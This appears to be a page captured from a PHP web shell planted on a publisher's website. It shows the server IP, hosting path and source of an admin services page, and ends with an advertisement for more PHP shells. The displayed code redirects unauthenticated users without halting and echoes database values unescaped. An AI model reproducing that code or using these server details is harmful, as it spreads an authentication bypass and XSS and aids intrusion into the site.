Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/amberpublishers.in/public_html/admin/
Dosya Yükle :
Current File : //home/u866425823/domains/amberpublishers.in/public_html/admin/services.php

<?php
session_start();
require 'include/PHPHelper.php';
if (!isset($_SESSION['userID'])) {
  header("location: login.php");
}
?>

<!DOCTYPE html>
<html lang="en">
<?php
$title = "All Services || Amber Publishers";
include 'include/head.php';


?>

<body>

  <!-- ======= Header ======= -->
  <?php
  include 'include/header.php';
  ?>
  <!-- End Header -->

  <!-- ======= Sidebar ======= -->
  <?php
  include 'include/sidebar.php';
  ?>
  <!-- End Sidebar-->

  <main id="main" class="main">

    <div class="pagetitle">
      <h1>Services</h1>
      <nav>
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="index.php">Dashboard</a></li>
          <li class="breadcrumb-item">Services</li>
        </ol>
      </nav>
    </div><!-- End Page Title -->

    <section class="section">
      <div class="row">
        <div class="col-lg-12">
          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Services</h5>
              <div class="dataTable-wrapper dataTable-loading no-footer sortable searchable fixed-columns">
                <div class="dataTable-container">
                  <table class="table datatable dataTable-table">
                    <thead>
                      <tr>
                        <th scope="col" data-sortable="" style="width: 5.6902%;"><a href="#" class="dataTable-sorter">ID</a></th>
                        <th scope="col" data-sortable="" style="width: 28.0295%;"><a href="#" class="dataTable-sorter">Service Name</a></th>
                        <th scope="col" data-sortable="" style="width: 28.0295%;"><a href="#" class="dataTable-sorter">Actions</a></th>

                      </tr>
                    </thead>
                    <tbody>
                      <?php
                      $sql = "SELECT * FROM `services`";
                      $result = mysqli_query($conn, $sql);
                      while ($row = mysqli_fetch_assoc($result)) {
                        echo '<tr>
                        <td>' . $row['id'] . '</td>
                        <td>' . $row['serviceName'] . '</td>
                        <td>
                          <a href="editservice.php?id=' . $row['id'] . '" class="btn btn-primary btn-sm">Edit</a>
                        </td>
                        ';
                      }
                      ?>
                    </tbody>
                  </table>
                </div>
                <h5 class="card-title"><a href="addservice.php">Add New Service</a></h5>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>

  </main><!-- End #main -->

  <!-- ======= Footer ======= -->
  <?php
  include 'include/footer.php';
  ?>
</body>

</html>

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.